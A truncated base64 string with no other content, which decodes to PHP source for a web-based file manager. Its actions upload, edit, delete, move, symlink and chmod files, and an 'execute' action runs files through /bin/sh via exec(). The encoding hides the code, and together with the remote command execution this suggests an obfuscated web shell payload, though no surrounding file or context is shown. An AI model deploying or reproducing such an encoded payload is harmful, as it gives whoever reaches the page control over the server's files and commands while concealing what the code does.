oQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7Cgl9IGVsc2UgewoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9hZGVkJywgJGZpbGVbJ25hbWUnXSkpOwoJfQoJYnJlYWs7CmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOgoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGZpbGUpKTsKCX0gZWxzZSB7CgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsKCQlpZiAoQG1rZGlyKCRmaWxlLCAkZGlycGVybWlzc2lvbikpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3JlYXRlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY3JlYXRlZCcsICRmaWxlKSk7CgkJfQoJCUB1bWFzaygkb2xkKTsKCX0KCWJyZWFrOwpjYXNlICdjcmVhdGVfZmlsZSc6CglpZiAoQGZpbGVfZXhpc3RzKCRmaWxlKSkgewoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOwoJfSBlbHNlIHsKCQkkb2xkID0gQHVtYXNrKDA3NzcgJiB+JGZpbGVwZXJtaXNzaW9uKTsKCQlpZiAoQHRvdWNoKCRmaWxlKSkgewoJCQllZGl0KCRmaWxlKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywgJGZpbGUpKTsKCQl9CgkJQHVtYXNrKCRvbGQpOwoJfQoJYnJlYWs7CmNhc2UgJ2V4ZWN1dGUnOgoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOwoJJG91dHB1dCA9IGFycmF5KCk7CgkkcmV0dmFsID0gMDsKCWV4ZWMoJ2VjaG8gIi4vJyAuIGJhc2VuYW1lKCRmaWxlKSAuICciIHwgL2Jpbi9zaCcsICRvdXRwdXQsICRyZXR2YWwpOwoJJGVycm9yID0gKCRyZXR2YWwgPT0gMCkgPyBmYWxzZSA6IHRydWU7CglpZiAoc2l6ZW9mKCRvdXRwdXQpID09IDApICRvdXRwdXQgPSBhcnJheSgnPCcgLiAkd29yZHNbJ25vX291dHB1dCddIC4gJz4nKTsKCWlmICgkZXJyb3IpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9leGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7Cgl9IGVsc2UgewoJCWxpc3RpbmdfcGFnZShub3RpY2UoJ2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKTsKCX0KCWJyZWFrOwpjYXNlICdkZWxldGUnOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ25vJ10pKSB7CgkJbGlzdGluZ19wYWdlKCk7Cgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7CgkJJGZhaWx1cmUgPSBhcnJheSgpOwoJCSRzdWNjZXNzID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJaWYgKGRlbCgkZmlsZSkpIHsKCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsKCQkJfSBlbHNlIHsKCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsKCQkJfQoJCX0KCQkkbWVzc2FnZSA9ICcnOwoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgewoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpKTsKCQl9CgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7CgkJCSRtZXNzYWdlIC49IG5vdGljZSgnZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpKTsKCQl9CgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsKCX0gZWxzZSB7CgkJaHRtbF9oZWFkZXIoKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgkJcmVxdWVzdF9kdW1wKCk7CgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgncmVhbGx5X2RlbGV0ZScpIC4gJzwvYj4KCTxwPgonOwoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKY2FzZSAncmVuYW1lJzoKCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgewoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsKCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHJlbmFtZSgkZmlsZSwgJGRlc3QpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9yZW5hbWVkJywgJGZpbGUsICRkZXN0KSk7CgkJfQoJfSBlbHNlIHsKCQkkbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKCQlodG1sX2hlYWRlcigpOwoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgoJPGI+JyAuIHdvcmQoJ3JlbmFtZV9maWxlJykgLiAnPC9iPgoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4KCTxiPicgLiBzdWJzdHIoJGZpbGUsIDAsIHN0cmxlbigkZmlsZSkgLSBzdHJsZW4oJG5hbWUpKSAuICc8L2I+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRuYW1lKSAuICciIHZhbHVlPSInIC4gaHRtbCgkbmFtZSkgLiAnIiAvPgoJPGhyIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ3JlbmFtZScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+CjwvZm9ybT4KJzsKCQlodG1sX2Zvb3RlcigpOwoJfQoJYnJlYWs7CmNhc2UgJ21vdmUnOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7CgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOwoJCSRmYWlsdXJlID0gYXJyYXkoKTsKCQkkc3VjY2VzcyA9IGFycmF5KCk7CgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFtZTsKCQkJaWYgKCFAZmlsZV9leGlzdHMoJGQpICYmIEByZW5hbWUoJGZpbGUsICRkKSkgewoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQl9IGVsc2UgewoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJCQl9CgkJfQoJCSRtZXNzYWdlID0gJyc7CgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7CgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAkZGVzdCk7CgkJfQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ21vdmVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsKCQl9CgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsKCX0gZWxzZSB7CgkJaHRtbF9oZWFkZXIoKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgkJcmVxdWVzdF9kdW1wKCk7CgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4KCTxwPgonOwoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKY2FzZSAnY29weSc6CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsKCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7CgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7CgkJCSRmYWlsdXJlID0gYXJyYXkoKTsKCQkJJHN1Y2Nlc3MgPSBhcnJheSgpOwoJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOwoJCQkJaWYgKCFAaXNfZGlyKCRmaWxlKSAmJiAhQGZpbGVfZXhpc3RzKCRkKSAmJiBAY29weSgkZmlsZSwgJGQpKSB7CgkJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQkJfSBlbHNlIHsKCQkJCQkkZmFpbHVyZVtdID0gJGZpbGU7CgkJCQl9CgkJCX0KCQkJJG1lc3NhZ2UgPSAnJzsKCQkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7CgkJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfY29waWVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSksICRkZXN0KTsKCQkJfQoJCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsKCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsKCQkJfQoJCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoJCX0gZWxzZSB7CgkJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAY29weSgkZmlsZSwgJGRlc3QpKSB7CgkJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQkJfSBlbHNlIHsKCQkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOwoJCQl9CgkJfQoJfSBlbHNlIHsKCQlodG1sX2hlYWRlcigpOwoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KJzsKCQlyZXF1ZXN0X2R1bXAoKTsKCQllY2hvICJcbjxiPiIgLiB3b3JkKCdjb3B5X2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7CgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCWVjaG8gIlx0IiAuIGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsKCQl9CgkJZWNobyAnCTwvcD4KCTxociAvPgoJJyAuIHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NvcHknKSAuICciIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0KCWJyZWFrOwpjYXNlICdjcmVhdGVfc3ltbGluayc6CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsKCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7CgkJaWYgKHN1YnN0cigkZGVzdCwgLTEsIDEpID09ICRkZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOwoJCWlmICghZW1wdHkoJF9QT1NUWydyZWxhdGl2ZSddKSkgJGZpbGUgPSBhYnNvbHV0ZTJyZWxhdGl2ZShhZGRzbGFzaChkaXJuYW1lKCRkZXN0KSksICRmaWxlKTsKCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHN5bWxpbmsoJGZpbGUsICRkZXN0KSkgewoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9Cgl9IGVsc2UgewoJCWh0bWxfaGVhZGVyKCk7CgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImRpYWxvZyIgaWQ9InN5bWxpbmsiPgo8dHI+Cgk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90ZD4KCTx0ZD4KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPgoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxhdGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4KCQk8bGFiZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJlbD4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8L3RkPgo8L3RyPgo8dHI+Cgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+Cgk8dGQ+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4KCTwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0KCWJyZWFrOwpjYXNlICdlZGl0JzoKCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7CgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRfUE9TVFsnY29udGVudCddKTsKCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3NhdmVkJywgJGZpbGUpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7CgkJfQoJfSBlbHNlIHsKCQlpZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7CgkJCWVkaXQoJGZpbGUpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRmaWxlKSk7CgkJfQoJfQoJYnJlYWs7CmNhc2UgJ3Blcm1pc3Npb24nOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NldCddKSkgewoJCSRtb2RlID0gMDsKCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOwoJCWlmICghZW1wdHkoJF9QT1NUWydnciddKSkgJG1vZGUgfD0gMDA0MDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSAkbW9kZSB8PSAwMDIwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3gnXSkpICRtb2RlIHw9IDAwMTA7CgkJaWYgKCFlbXB0eSgkX1BPU1RbJ29yJ10pKSAkbW9kZSB8PSAwMDA0OyBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpICRtb2RlIHw9IDAwMDI7IGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgJG1vZGUgfD0gMDAwMTsKCgkJaWYgKEBjaG1vZCgkZmlsZSwgJG1vZGUpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3Blcm1pc3Npb25fc2V0JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ3Blcm1pc3Npb25fbm90X3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7CgkJfQoJfSBlbHNlIHsKCQlodG1sX2hlYWRlcigpOwoJCSRtb2RlID0gZmlsZXBlcm1zKCRmaWxlKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cgk8cCBzdHlsZT0ibWFyZ2luOiAwIj4nIC4gcGhyYXNlKCdwZXJtaXNzaW9uX2ZvcicsICRmaWxlKSAuICc8L3A+Cgk8aHIgLz4KCTx0YWJsZSBpZD0icGVybWlzc2lvbiI+Cgk8dHI+CgkJPHRkPjwvdGQ+CgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ293bmVyJykgLiAnPC90ZD4KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDogMXB4IHNvbGlkIGJsYWNrIj4nIC4gd29yZCgnZ3JvdXAnKSAuICc8L3RkPgoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDQwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwNDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAyMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3ciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDIwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAxMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDEwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8L3RhYmxlPgoJPGhyIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSInIC4gd29yZCgnc2V0JykgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icGVybWlzc2lvbiIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKZGVmYXVsdDoKCWxpc3RpbmdfcGFnZSgpOwp9CmZ1bmN0aW9uIGdldGxpc3QgKCRkaXJlY3RvcnkpIHsKCWdsb2JhbCAkZGVsaW0sICR3aW47CglpZiAoJGQgPSBAb3BlbmRpcigkZGlyZWN0b3J5KSkgewoJCXdoaWxlICgoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGQpKSAhPT0gZmFsc2UpIHsKCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOwoJCQlpZiAoJHN0YXQgPSBAbHN0YXQoJHBhdGgpKSB7CgkJCQkkZmlsZSA9IGFycmF5KAoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLAoJCQkJCSdwYXRoJyAgICAgICAgPT4gJHBhdGgsCgkJCQkJJ2lzX2ZpbGUnICAgICA9PiBAaXNfZmlsZSgkcGF0aCksCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwKCQkJCQknaXNfbGluaycgICAgID0+IEBpc19saW5rKCRwYXRoKSwKCQkJCQknaXNfcmVhZGFibGUnID0+IEBpc19yZWFkYWJsZSgkcGF0aCksCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLAoJCQkJCSdzaXplJyAgICAgICAgPT4gJHN0YXRbJ3NpemUnXSwKCQkJCQkncGVybWlzc2lvbicgID0+ICRzdGF0Wydtb2RlJ10sCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sCgkJCQkJJ2dyb3VwJyAgICAgICA9PiAkc3RhdFsnZ2lkJ10sCgkJCQkJJ210aW1lJyAgICAgICA9PiBAZmlsZW10aW1lKCRwYXRoKSwKCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBhdGgpLAoJCQkJCSdjdGltZScgICAgICAgPT4gQGZpbGVjdGltZSgkcGF0aCkKCQkJCSk7CgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCQkJJGZpbGV